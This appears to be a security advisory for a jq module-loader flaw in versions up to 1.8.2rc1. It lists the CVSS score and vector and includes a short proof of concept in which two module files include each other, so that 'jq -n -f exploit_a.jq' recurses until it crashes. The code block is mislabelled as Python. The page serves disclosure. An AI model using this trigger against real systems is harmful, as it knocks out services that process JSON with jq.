jq is a command-line JSON processor. In 1.8.2rc1 and earlier, the ordinary module loader recurses without cycle detection when two
otherwise valid modules include each other.
CVSS Details
CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Configurations (Affected Products)
cpe:2.3:a:jqlang:jq:*:*:*:*:*:*:*:* - VULNERABLE
jq <= 1.8.2rc1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Create two files that include each other
# File: exploit_a.jq
include "exploit_b";
# File: exploit_b.jq
include "exploit_a";
# Execute the command to trigger the vulnerability
# The program will hang or crash due to stack overflow from infinite recursion.
# $ jq -n -f exploit_a.jq